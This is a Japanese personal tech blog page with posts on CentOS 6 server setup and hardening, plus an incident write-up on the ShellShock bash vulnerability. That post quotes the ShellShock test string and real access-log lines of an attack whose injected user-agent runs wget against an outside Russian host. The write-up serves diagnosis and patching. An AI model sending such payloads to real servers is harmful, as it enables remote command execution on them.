- Home
- Tec
2017/08/29
2017/08/17
2017/08/10
2017/08/04
2017/07/27
2016/01/07
Linux サーバを作る その後
ナレッジサービス
ブログに記事形式で自分のナレッジを書いていくのもいいですが、
情報の更新がブログ形式ゆえに少し抵抗が出ます。
かといってWiki形式で大々的に、きちんとやるとなると更新しづらくなる。
Qiitaとか情報集積系サービスを利用するにしても、
仕事不でも使えるように自由度とクラウド感を利用できつつ、Githubで更新履歴管理もしたい。
ということで最近Gitbookというサービスを利用してみています。
GitBook
今はまだ色々いいツールないかなと検討している段階ですが、
今まで記述していたOS初期設定を手順書っぽく公開してみました。
CentOS6 セットアップガイド
Index
今はまだ色々いいツールないかなと検討している段階ですが、
今まで記述していたOS初期設定を手順書っぽく公開してみました。
CentOS6 セットアップガイド
Index
- はじめに
- OSのインストール
- インストール言語の選択
- 入力キーボードタイプの選択
- インストールストレージタイプの選択
- ホスト名の設定
- ネットワークの設定
- タイムゾーンの設定
- ROOTユーザーパスワードの設定
- インストールパーティションの設定
- パーティションレイアウトの設定
- ブートローダの選択
- インストールの開始
- 再起動/インストール完了
- OS基本設定
- ネットワーク設定
- NICの設定
- ホスト名の設定
- 参照DNSの設定
- APIPAの無効化
- IPv6アドレスの無効化
- SELinuxの無効化
- デフォルトランレベル
- インストール言語
- システム時刻
- cron設定
- ログローテート
- カーネルパニック対応
- アカウント管理
- ユーザーデフォルトの設定
- パスワードポリシー
- セキュリティ設定
- SUDO設定
- SU設定
- 不要なサービスの停止
- SYN FLOOD攻撃対策
- Smurf攻撃対策
- ブリッジ接続対策
- iptables
- SSHサーバ設定
- 基本設定
- セキュリティ設定
- パスワード認証設定
- 鍵認証設定
- SFTP設定
- chroot設定
- NTP設定
- NTPサーバの設定
- NTPクライアントの設定
- slewモード設定
- ntpdate設定
- セキュリティパッチの適用
- アップデートの適応
- 自動アップデート設定
- アップデート制限
- システム監査
大串 肇 久保靖資 豊沢泰尚
エムディエヌコーポレーション
売り上げランキング: 4,325
エムディエヌコーポレーション
売り上げランキング: 4,325
2015/03/14
起動サービスのロケーション設定の驚き
今までは問題なかったが、
OSを再起動してみらアプリの動作がおかしくなった!
どうやら原因はTomcatの環境変数に設定されているロケール情報が起動前と違っていることが原因。
なぜ~・・・
もちろんOSのロケール情報は日本語環境にしてあります。
# cat /etc/sysconfig/i18n LANG="ja_JP.UTF-8"
# locale LANG=ja_JP.UTF-8 LC_CTYPE="ja_JP.UTF-8" LC_NUMERIC="ja_JP.UTF-8" LC_TIME="ja_JP.UTF-8" LC_COLLATE="ja_JP.UTF-8" LC_MONETARY="ja_JP.UTF-8" LC_MESSAGES="ja_JP.UTF-8" LC_PAPER="ja_JP.UTF-8" LC_NAME="ja_JP.UTF-8" LC_ADDRESS="ja_JP.UTF-8" LC_TELEPHONE="ja_JP.UTF-8" LC_MEASUREMENT="ja_JP.UTF-8" LC_IDENTIFICATION="ja_JP.UTF-8" LC_ALL=
再起動してももちろん変更はされていませんね。
そういえば、プロセスの変数情報を確認できなたと思い確認してみると。
# cat /proc/{PID}/environ
TERM=linuxPATH=/sbin:/usr/sbin:/bin:/usr/binRUNLEVEL=3runlevel=3PWD=/LANGSH_SOURCED=1LANG=en_US.UTF-8PREVLEVEL=Nprevious=NCONSOLETYPE=vtSHLVL=2UPSTART_INSTANCE=UPSTART_EVENTS=runlevelUPSTART_JOB=rc_=/opt/app/tomcat6-ffc/bin/jsvcLD_LIBRARY_PATH=/opt/app/jre/lib/amd64/server:/opt/app/jre/lib/amd64
おやまぁ本当にLANGの値は"en_US.UTF-8"になっている。
いったいどこでこの値は設定されるのだろう?
Shellが起動された時、いろいろprofileやbashrcとかが呼び出されて環境を整えるのでそのあたりか。
# vim /etc/profile.d/lang.sh
~省略
if [ -n "$LANG" ]; then
case $LANG in
*.utf8*|*.UTF-8*)
if [ "$TERM" = "linux" ]; then
if [ "$consoletype" = "vt" ]; then
case $LANG in
ja*) LANG=en_US.UTF-8 ;;
ko*) LANG=en_US.UTF-8 ;;
si*) LANG=en_US.UTF-8 ;;
zh*) LANG=en_US.UTF-8 ;;
ar*) LANG=en_US.UTF-8 ;;
fa*) LANG=en_US.UTF-8 ;;
he*) LANG=en_US.UTF-8 ;;
en_IN*) ;;
*_IN*) LANG=en_US.UTF-8 ;;
esac
fi
fi
profileの中を確認してみると、なにやらコンソールタイプ変数値によて設定するロケールの値を変えているコンソールタイプ?
確かに再起動後のプロセス情報は"CONSOLETYPE=vt"となっている。
ここか・・・!
確かにSSH等のコンソールからサービスの再起動を行うと、
コンソールタイプは"CONSOLETYPE=pty"となり、日本語ロケールにもなり、コンソール関係の変数も読み込まれている。
細かいところまでは見ていないけれど、コンソールタイプでLANG関係の読み込みも分けている。
f [ -n "$LANG" ]; then
saved_lang="$LANG"
[ -f "$HOME/.i18n" ] && . "$HOME/.i18n" && sourced=1
LANG="$saved_lang"
unset saved_lang
else
for langfile in /etc/sysconfig/i18n "$HOME/.i18n" ; do
[ -f $langfile ] && . $langfile && sourced=1
done
fi
今回問題になったTomcatはバイナリでサイトから落として利用している。
RPMでインストールするサービスはどうなのか知らないですが、
少なくともコンソールタイプで読み込まれる変数が変わるというのは初耳だった。
今回は起動スクリプトに明示的に"LANG=ja_JP.UTF-8"として問題を回避したが、
(そもそも)環境依存で作りアプリケーションに問題があるかどうかは置いといて。)
どうりでOS再起動時のログファイルは英語になっているわけだよ・・・。
OS依存によるアプリケーションやシステムの構築には気を付けよう!
そして必ずOS再起動でもシステムは問題なく動く事を確認しよう。
2015/01/30
Linuxサーバを作る ④
アカウントセキュリティ
動けばいいじゃんと軽視されがちですが、私は大事だと考えています。パスワードポリシー
ユーザーパスワードは8文字以上、大小文字・数字・記号も必須にしましょう。
またログインの際に一定回数パスワード認証に失敗したらロックするようにもします。
# vim /etc/login.defs #PASS_MIN_LEN 5 PASS_MIN_LEN 8
# vim /etc/pam.d/system-auth-ac auth required pam_env.so auth required pam_tally2.so pam_tally2.so onerr=fail deny=10 unlock_time=120 auth sufficient pam_unix.so nullok try_first_pass auth requisite pam_succeed_if.so uid >= 500 quiet auth required pam_deny.so account required pam_unix.so account required pam_tally2.so account sufficient pam_localuser.so account sufficient pam_succeed_if.so uid < 500 quiet account required pam_permit.so #password requisite pam_cracklib.so try_first_pass retry=3 type= password requisite pam_cracklib.so try_first_pass retry=10 minlen=8 dcredit=-1 ucredit=-1 lcredit=-1 #password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=1 password required pam_deny.so
# vim /etc/pam.d/password-auth-ac auth required pam_env.so auth required pam_tally2.so pam_tally2.so onerr=fail deny=10 unlock_time=120 auth sufficient pam_unix.so nullok try_first_pass auth requisite pam_succeed_if.so uid >= 500 quiet auth required pam_deny.so account required pam_unix.so account required pam_tally2.so account sufficient pam_localuser.so account sufficient pam_succeed_if.so uid < 500 quiet account required pam_permit.so #password requisite pam_cracklib.so try_first_pass retry=3 type= password requisite pam_cracklib.so try_first_pass retry=10 minlen=8 dcredit=-1 ucredit=-1 lcredit=-1 #password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok password sufficient pam_unix.so sha512 shadow nullok try_first_pass use_authtok remember=1 password required pam_deny.so設定に失敗すると上手くログインできなくなってしまうので注意して設定・確認しましょう。
※参考
| 値 | 説明 |
|---|---|
| retry=N | N回まで失敗が許されます。 |
| type=XXX | プロンプトに使われる文字列。 |
| difok=N | 現在のパスワードと N文字以上異なれば許可。 |
| minlen=N | パスワードが N文字以上だと許可。 |
| dcredit=-N | 数字が N文字以上含まれていれば許可。 |
| ucredit=-N | 大文字が N文字以上含まれていれば許可。 |
| lcredit=-N | 小文字が N文字以上含まれていれば許可。 |
| ocredit=-N | その他の文字が N文字以上含まれていれば許可。 |
権限昇格制限
複数人、複数拠点で運用するサーバであればきちんと設計・制限しておきましょう。sudo権限
下記記事を参考にして頂ければと。
sudo関連のあれこれ
su権限
suコマンドを利用できるユーザーをwheelグループ所属ユーザーのみとする。
下記ファイルのコメントアウトを解除します。
# vim /etc/pam.d/su auth required pam_wheel.so use_uid
# vim /etc/login.defs SU_WHEEL_ONLY yes
不要サービスの停止
サーバ目的で利用するのであれば余計なリソースやポートが空かないよう。不要なサービスを停止しておきましょう。
# chkconfig --list
カーネルパラメータの調整
最低限の設定を。Smurf攻撃対策
# vim /etc/sysctl.conf net.ipv4.icmp_echo_ignore_broadcasts = 1kernelパニック発生時にOSを再起動するようにする。
# vim /etc/sysctl.conf kernel.panic = 10設定を反映
# sysctl -pこの時、追記した項目以外で下記のようなエラーが出力されます。
error: "net.bridge.bridge-nf-call-ip6tables" is an unknown key error: "net.bridge.bridge-nf-call-iptables" is an unknown key error: "net.bridge.bridge-nf-call-arptables" is an unknown keyこちらはネットワークブリッジを利用する目的以外でブリッジモジュールがインストールされていた場合、デフォルトで有効化されてしまうことを防ぐためにあえて記載してあるらしいです。
なのでそのままでもよいのですが、エラーが出ているという事はブリッジモジュールをインストールしていないという事なので、
エラーが気になる方はコメントアウトしてもいいかもしれません。
ACL
Linux標準のACLと言えばiptablesがあります。AWSなんかではインスタンス単位でACLを設定できるためあまりメリットはないですが
GW/FWで制御するような環境であれば設定しておりて損はないと思いますので設定しましょう。
私は設定スクリプトを作成し、デーモン利用ではなく利用します。
サーバ再起動時なんかには自動でスクリプトを実行するようにしておくとよりいいですね。
セキュリティアップデート
サーバとして利用を開始する前には一度フルアップデートを実施したほうがよいでしょう。構築作業中やインストールに利用したテンプレート・メディアによっては脆弱性に対するパッチが当たっていない場合があります。
# yum update※kernelのアップデートについては利用基盤やハード環境を考慮して行ってください。
場合によってはサポートを受けられなくなる可能性があります。
サービスインしてしまうとなかなかアップデートを気軽に行えなくなってしまうのが面倒ですね。
sysstatの設定
今や標準でインストールされているsysstat。そのままでも問題ありませんが、運用に合わせて設定を変更します。
初期設定だと28日分のシステムログを保持するようになっています。
もっと保持しておきたい場合。
# vim /etc/sysconfig/sysstat HISTORY=365
# vim /usr/lib64/sa/sa1 HISTORY=365
# vim /usr/lib64/sa/sa2 HISTORY=365またデフォルトでは10分おきにシステムログを取得します。それを5分毎に変更します。
# vim /etc/cron.d/sysstat # Run system activity accounting tool every 10 minutes #*/10 * * * * root /usr/lib64/sa/sa1 1 1 */5 * * * * root /usr/lib64/sa/sa1 1 1 # 0 * * * * root /usr/lib64/sa/sa1 600 6 & # Generate a daily summary of process accounting at 23:53 #53 23 * * * root /usr/lib64/sa/sa2 -A 58 23 * * * root /usr/lib64/sa/sa2 -A
時刻同期設定
同期サーバの設定インターネット上でシステム時刻を同期・調整するようにします。
最近のOSではPTP時刻同期に対応してきていますが、こちらはNTPで設定します。
今回は外部のNTPサーバを参照しするクライアントとして設定します。
どのサーバを参照するか。ある程度信頼性が求められるので怪しげなサーバは参照しないようにしましょう。
私はよく下記サービスを参照します。
インターネットマルチフィード 公開NTPサービス
# vim /etc/ntp.conf server ntp1.jst.mfeed.ad.jp iburst server ntp2.jst.mfeed.ad.jp iburst server ntp3.jst.mfeed.ad.jp iburstiburstを指定することで、初期時刻同期の収束時間が短くなるそうです。
ipv6の無効化
# vim /etc/ntp.conf #restrict -6 ::1
脆弱性・DDOS対策
NTPのDDOS対策
# vim /etc/ntp.conf disable monitor
slewモード設定
時刻同期方法をでデフォルトでslewモードにする
# vim /etc/sysconfig/ntpd OPTIONS="-u ntp:ntp -p /var/run/ntpd.pid -g -x"
NTP起動
ntpdを起動し同期を開始しましょう。
# chkconfig ntpd on # service ntpd start
ntpdateの設定
サーバ再起動時にはハードウェア時刻を参照し、起動します。
運用にてシステム時刻とハード時刻の同期を行っていれば大きな誤差なく起動しますが、
ハード時刻がずれていた場合に時刻誤差が大きく起動してこないよう
OS起動時にntpdateを実行するように設定しておきます。
# vim /etc/ntp/step-tickers # List of servers used for initial synchronization. ntp1.jst.mfeed.ad.jp ntp2.jst.mfeed.ad.jp ntp3.jst.mfeed.ad.jp
起動設定
# chkconfig ntpdate on長かったなー。
以上で商用?サーバを構築しよう!の初期設定が完了です。
個人利用であったり、そこまで求められないよっていう設定もあるとおもいます。
知らなかったことがあり、だれかの助けになっていれば幸いです。
他ミドルウェアのついてもボチボチ書いていきたいとおもっています。
技術評論社 (2013-08-20)
売り上げランキング: 4,627
売り上げランキング: 4,627
Linuxサーバを作る ③
OS初期設定
ランレベルの設定サーバ目的なのでデフォルトランレベルは3にしておきましょう。
Redhat ランレベルとは
ランレベルにより起動・利用されるサービスが違うため、余計なリソースを使わないようにするためです。
# vim /etc/inittab id:3:initdefault:反映させるときは再起動が必要ですが、少し後回し。
インストールOS言語
インストール時に言語設定があったと思いますが実際の設定は下記ファイルとlocaleコマンドで確認できます。
# cat /etc/sysconfig/i18n LANG="ja_JP.UTF-8" # locale LANG=ja_JP.UTF-8 LC_CTYPE="ja_JP.UTF-8" LC_NUMERIC="ja_JP.UTF-8" LC_TIME="ja_JP.UTF-8" LC_COLLATE="ja_JP.UTF-8" LC_MONETARY="ja_JP.UTF-8" LC_MESSAGES="ja_JP.UTF-8" LC_PAPER="ja_JP.UTF-8" LC_NAME="ja_JP.UTF-8" LC_ADDRESS="ja_JP.UTF-8" LC_TELEPHONE="ja_JP.UTF-8" LC_MEASUREMENT="ja_JP.UTF-8" LC_IDENTIFICATION="ja_JP.UTF-8" LC_ALL=最近だとクラウド側が準備しているテンプレートやコンテナを利用するケースが多いですが、その場合localeがENとかになっているケースが多いと思います。
きちんと利用環境、利用サービスに合わせておきましょう。
ロケールの日本語化
日本語パッケージが無ければインストールしておきます
# yum groupinstall "Japanese Support"日本語ロケールを追加し
# localedef -f UTF-8 -i ja_JP ja_JP.utf8定義ファイルを変更し
# vim /etc/sysconfig/i18n LANG="ja_JP.UTF-8"再起動して反映させます
# reboot
システム時刻の設定
こちらも利用環境に即しているか確認して設定します。
タイムゾーンの確認
# cat /etc/localtime ~省略 JST-9タイムゾーンを日本時間に修正する場合
# cp -p /usr/share/zoneinfo/Asia/Tokyo /etc/localtimeこちらも一応日本時間に
# cat /etc/sysconfig/clock ZONE="Asia/Tokyo"時刻はUTCを利用しているか
# cat /etc/adjtime 0.000000 1410678273 0.000000 1410678273 UTC時計のUTC?GMT?local?ってひとは下記サイトを読むと参考になるかも
Linuxはどのように時間を計っているか
これらの設定を変更した場合、反映させるためには再起動させましょう。
Cron設定
linux標準のジョブ管理ツールです。6系からクラウド利用を考慮され今までと少し基本設定が変わっています。
日次、週次、月次の処理をanacronが、その他のジョブをcronineがという風になっています。
今まで通り任意のジョブ等はcronファイルに記述すれば今まで通り動くので問題ないので特に変更は不要ですが、
問題はanacronで実行されるジョブは指定日に指定の時間内でランダムに実行される点です。
デフォルトの日次ジョブにシステム関連ログのローテートジョブがありますが、
複数サーバを管理する場合サーバごとにローテート時刻がずれるといったログ管理上あまりよくない事態が発生してしまいます。
今まで通り指定日時に実行してほしい!という方はanacron、cron設定を変更します。
下記手順はanacronを無効化するものではなく、あくまで以前のようにanacronをジョブの再実行用に利用し、cron主体で動くようにする設定です。
定期実行ジョブをcronで管理
anacronで実行されている日次、週次、月次の処理を今まで通りcron実行にします。
各ディレクトリ配下のジョブを実行するよう追記。
# vim /etc/crontab 05 0 * * * root run-parts /etc/cron.daily 25 0 * * 0 root run-parts /etc/cron.weekly 45 0 1 * * root run-parts /etc/cron.monthlyanacronで不実行ジョブが再実行されるタイミングを指定。
# vim /etc/anacrontab #START_HOURS_RANGE=3-22 START_HOURS_RANGE=5-6日次、週次、月次の処理がcronで実行され、再実行不要であることをanacronに伝えるジョブを各ディレクトリに配置していきます。
# /etc/cron.daily/0anacron #!/bin/bash if [ ! -e /var/run/anacron.pid ]; then anacron -u cron.daily fi
# /etc/cron.weekly/0anacron #!/bin/bash if [ ! -e /var/run/anacron.pid ]; then anacron -u cron.weekly fi
# /etc/cron.monthly/0anacron #!/bin/bash if [ ! -e /var/run/anacron.pid ]; then anacron -u cron.monthly fi配置したジョブにはそれぞれ実行権限を与えておきます。
ログローテート設定
ここは利用する環境・要件に合わせて変更しましょう。デフォルトだと4週間分logrotateで管理するログを保持します。
# vim /etc/logrotate.conf # 週単位でログをローテート weekly # ローテートしたログを4世代分保持 rotate 4 # ローテート後新しいログファイルを自動で作成 create # ローテート後ファイルのフォーマットを"ファイル名-yyyymmdd"へ dateext # ローテートしたログは圧縮しない(コメントアウト) #compress次に続く
技術評論社 (2013-08-20)
売り上げランキング: 4,627
売り上げランキング: 4,627
2014/10/19
ShellShock bashコマンドインジェクション
これは凄い!
GNU Bash に OS コマンドインジェクションの脆弱性
bash の脆弱性対策について(CVE-2014-6271 等)
たぶんある程度しっかり作られたアプリケーションのサイトや、
最新のパッケージを使っている環境ではあまりこの影響の脆弱性をうけるサイトは少ないのかなという印象です。
私が管理しているサイトでは脆弱性の再現は1サイトしかありませんでした。
テストは簡単に、ChromeやFireFoxのユーザーエージェントを指定できるプラグインで、
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
そしてApacheのエラーログには親切に下記ログも
他にはmailコマンドを実行させられたり、「/tmp」領域にファイルを配置されたり。
今回はユーザーエージェントにコードをセットされていたから分かりやすかったですが、
Cookieや他にログに残らないようなアクセスだと、なかなか検知は難しかったかもしれないですね。
実際どこに実行箇所があったかというと、HTML内に記述していた
<!--#exec cgi="~" -->
とはいえ、変数が空になって後で上手く動いていないことが分かるのはやなので、
私の場合は再起動しました。
アップデート後はそれぞれの脆弱性が修正されている事を確認。
CVE-2014-6271
今回の脆弱性はサイト上に問題が無くても、対象であればアップデートしたほうがいいでしょう。
今回の対応で面倒だったのは「もしも」の場合に備えて今のバージョンと同じパッケージを探しておくことでした。
OS6系ならまだまだ大丈夫ですが、5系はもう古いのはないですからね。
当時のメディアがあってよかった。
GNU Bash に OS コマンドインジェクションの脆弱性
bash の脆弱性対策について(CVE-2014-6271 等)
GNU Bash には、環境変数にシェル関数定義を設定して他のシェルプロセスに渡す機能と、環境変数で設定されたシェル関数定義を取り込む機能が存在します。関数定義に続きシェルコマンドが記述されている形で環境変数が設定されているとき、GNU Bash は関数定義を取り込む際にそのシェルコマンドを実行してしまいます
たぶんある程度しっかり作られたアプリケーションのサイトや、
最新のパッケージを使っている環境ではあまりこの影響の脆弱性をうけるサイトは少ないのかなという印象です。
私が管理しているサイトでは脆弱性の再現は1サイトしかありませんでした。
テストは簡単に、ChromeやFireFoxのユーザーエージェントを指定できるプラグインで、
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
のような値を設定してサイトを回遊ました。
ちなみに、実際に攻撃が成功してしまった環境はちょっと古いOS 5系の環境。
- Cent OS 5
- Apache 2.2 標準RPM
- PHP 5.3 ソースインストール
実際にきていた攻撃は下記のようなアクセス。
62.210.75.170 - - [30/Sep/2014:07:42:45 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1281928
62.210.75.170 - - [30/Sep/2014:07:42:52 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c 'wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1232626
62.210.75.170 - - [30/Sep/2014:07:42:59 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1227358
62.210.75.170 - - [30/Sep/2014:07:43:01 +0900] "GET /index.html HTTP/1.1" 200 4872 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== >> /dev/null'" 1247845
実際に攻撃が成功すると、下記のようなメッセージがsyslogに出力されました。Sep 30 07:42:23 GSA040014009 kernel: sh[26924]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff1f9b5610 error 4
Sep 30 07:42:23 GSA040014009 kernel: sh[26926]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3edfcdb0 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26928]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff3f09fb50 error 4
Sep 30 07:42:26 GSA040014009 kernel: sh[26930]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff22324de0 error 4
Sep 30 07:42:27 GSA040014009 kernel: sh[26932]: segfault at 0000000000000000 rip 00000000004373c7 rsp 00007fff880e3000 error 4
メモリのセグメンテーションエラーね。そしてApacheのエラーログには親切に下記ログも
/bin/sh: wget: No such file or directory /bin/sh: wget: No such file or directory /bin/sh: wget: No such file or directory --2014-09-30 07:42:38-- http://creditstat.ru/Y3Vwbm9vZGxlcy1tdXNldW0uanBTaGVsbFNob2NrU2FsdA== Resolving creditstat.ru... 78.46.37.177 Connecting to creditstat.ru|78.46.37.177|:80... connected. HTTP request sent, awaiting response... 404 Not Found 2014-09-30 07:42:38 ERROR 404: Not Found.見事動作させられてますね、ありがとうございます。
他にはmailコマンドを実行させられたり、「/tmp」領域にファイルを配置されたり。
今回はユーザーエージェントにコードをセットされていたから分かりやすかったですが、
Cookieや他にログに残らないようなアクセスだと、なかなか検知は難しかったかもしれないですね。
実際どこに実行箇所があったかというと、HTML内に記述していた
<!--#exec cgi="~" -->
上記部分でした。
Apacheで"IncludeNOEXEC"していれば防げていたかもしれませんが・・・
対応策はBashのアップデートを上げるしか基本的には無いので、もちろんアップデート。
アップデートした場合、OSの再起動が必要なのか、いらいないとか。
ここはRedhatの情報に従って確認していきましょう。
特殊な細工がされた環境変数による Bash コードインジェクションの脆弱性 (CVE-2014-6271、CVE-2014-7169)
Bash変数を設定して起動しているサービスが無いか確認。
Apacheで"IncludeNOEXEC"していれば防げていたかもしれませんが・・・
対応策はBashのアップデートを上げるしか基本的には無いので、もちろんアップデート。
アップデートした場合、OSの再起動が必要なのか、いらいないとか。
ここはRedhatの情報に従って確認していきましょう。
特殊な細工がされた環境変数による Bash コードインジェクションの脆弱性 (CVE-2014-6271、CVE-2014-7169)
Bash変数を設定して起動しているサービスが無いか確認。
エクスポートされた Bash 機能を使用している場合は、影響を受けるサービスを再起動することが推奨されます。影響を受けるインタラクティブなユーザーが再ログインしたり、画面または tmux セッションを再起動したりする必要があるかもしれません。
これらの問題を修正するために提供された Bash アップデートは、この環境でエクスポートされた関数の名前を変更します。古いバージョンの Bash が関数をエクスポートしている場合、その関数はアップデート後に新しく起動した Bash プロセスでは認識されないため、定義されていない状態になります。サービスを再起動すると、新しいバージョンの Bashは、期待した名前で関数をエクスポートするため、再度表示されます。
# grep -l -z '[^)]=() {' /proc/[1-9]*/environ | cut -d/ -f3
とはいえ、変数が空になって後で上手く動いていないことが分かるのはやなので、
私の場合は再起動しました。
アップデート後はそれぞれの脆弱性が修正されている事を確認。
CVE-2014-6271
# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
bash: error importing function definition for `BASH_FUNC_x()'
test
RHSA-2014:1306、RHSA-2014:1311 および RHSA-2014:1312
# env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `BASH_FUNC_x'
test
CVE-2014-7169
# cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
date
cat:/tmp/echo:No such file or directory
以上で対応自体は完了。アップデートするだけの簡単な作業ですね。今回の脆弱性はサイト上に問題が無くても、対象であればアップデートしたほうがいいでしょう。
今回の対応で面倒だったのは「もしも」の場合に備えて今のバージョンと同じパッケージを探しておくことでした。
OS6系ならまだまだ大丈夫ですが、5系はもう古いのはないですからね。
当時のメディアがあってよかった。
Cameron Newham Bill Rosenblatt
オライリージャパン
売り上げランキング: 369,620
オライリージャパン
売り上げランキング: 369,620
2014/09/14
sudo関連のあれこれ
この前までredhat/CentOs 6系が出たばっかりだと思っていたら、
もう7系が出て新しい仕組で騒がれていますね。
でもまだまだ安定版として、サービスで利用できるようになるのは来年かなという気がしますので、
引き続き6系のナレッジをメモリましょう。
今回はsudoです。言わずと知れず、やりたいことは大体できるといわれているsudoらしいですが、
私は少しデフォルトから手を加える事が多いです。
sudoのパスワードキャッシュを制限
sudoはデフォルトでパスワードの認証情報を5分間保持しますので、それを無効化。# visudo Defaults timestamp_timeout = 0
認証リトライ回数を制限
sudoのデフォルト認証リトライ回数は3回、3回でいいとは思いますが、変更する場合は下記。# visudo Defaults passwd_tries = 3
ログ出力先の変更
redhat/CentOSではデフォルトでsecureログに出力されますが、ガッツリsudoを利用して、内容をしっかりログに出したいときは、下記のように設定。
# visudo Defaults !syslog, logfile = /var/log/sudo.log, log_yearsudoを行うと、下記のようなログが指定のログに出力されます。
# view /var/log/sudo.log Aug 15 12:43:19 2014 : hogehoge : コマンドが許可されていません ; TTY=pts/2 ; PWD=/var/www ; USER=root ; COMMAND=/bin/rm -rf html/ Aug 22 21:23:13 2014 : root : TTY=pts/2 ; PWD=/var/www ; USER=apache ; COMMAND=/bin/uname
sudo設定ファイルの外部ファイル化
sudoの設定を外部読み込みファイルのように利用したい場合。ユーザー個別の設定なんかはこちらに書き出します。
まず外部ファイルが有効かされている事を確認。
# visudo #includedir /etc/sudoers.d外部ファイルの作成。
# visudo -f /etc/sudoers.d/hogehogeファイルを作成する際に、構文チェックももちろん、パーミッションチェックも行ってくれます。
コマンド制限
当然sudo権限を与えるのだから、コマンドを制限したいですが、コマンドのオプションまで制限したいですよね。デフォルトでコマンドを記述しただけではすべてのオプションが許可するようですが、
オプションまで記述することで、コマンドの構文レベルで制限することも可能です。
# visudo -f /etc/sudoers.d/hogehoge hogehoge ALL = (root) PASSWD: /bin/su - homehome, /bin/su homehomeスイッチできるユーザーを制限したい場合なんかに便利かもしれません。
正規表現も使えます。
sudoやsudoersのmanページを見てると、もっと色々細かいことが制御可能です。
ただ、懲りすぎて何とも使いにくいシステムにならないよう程々がいいと思います。
沓名 亮典
技術評論社
売り上げランキング: 51,386
技術評論社
売り上げランキング: 51,386
Linuxサーバを作る ②
前回、OSのインストールが終わり、いよいよ設定です。
まず作業がしやすいように接続環境を整えましょう。
ネットワークの設定
6系からネットワーク周りの設定はNetworkManagerでの管理が推奨されています。
でもGUIでゴニョゴニョしたりしなければいけなかったり、まだまだサーバとしてはどうなの?
という所があります。
ここではべたに設定ファイルを直接編集して設定を行っていきます。
NICの設定
環境によりますが、ここはサーバ目的なので固定IPを設定していきます。
まだここではターミナル接続です。
minimalでインストールすればNetworkManagerはインストールされませんが、
標準でインストールした場合、インストールされている場合があるので、まず停止します。
# service NetworkManager stopそして、今後ももちろんファイル編集でネットワーク設定を行うため、万が一ファイルがNetworkManagerで管理されないよう、
NIC側でも無効化しておきます。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0 NM_CONTROLLED=noインストール時にネットワーク設定を行った場合は設定されていますが、
スキップした場合、インターフェースはデフォルトで無効化されてるため有効化します。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0 ONBOOT=yesサーバのIP情報を固定で設定。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0 BOOTPROTO=none IPADDR=192.168.154.11 PREFIX=24少し前ではサブネットマスクで記述していましたが、最近はPREFIXでの記述が推奨されています。
また、デフォルトゲートウェイで利用するNICには下記設定を追記。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0 DEFOROUTE=yes
またNICのハードウェアアドレスやUUIDの記述がありますが、実際にはこのファイルでは管理されておらず、
仮想環境を利用している場合、邪魔になることもあるのでコメントアウトしておきましょう。
# vi /etc/sysconfig/network-scripts/ifcfcg-eth0 #HWADDR=************************* #UUID=************************
設定を反映。
# service network restart インターフェース eth0 を終了中: [ OK ] ループバックインターフェースを終了中 [ OK ] ループバックインターフェイスを呼び込み中 [ OK ] インターフェース eth0 を活性化中: eth0 のIP情報を検出中... 完了。 [ OK ]設定値の確認。
# ifconfig eth0 Link encap:Ethernet HWaddr 00:0C:29:BE:42:5C inet addr:192.168.247.128 Bcast:192.168.247.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:febe:425c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:294 errors:0 dropped:0 overruns:0 frame:0 TX packets:67 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:48336 (47.2 KiB) TX bytes:10963 (10.7 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:4 errors:0 dropped:0 overruns:0 frame:0 TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 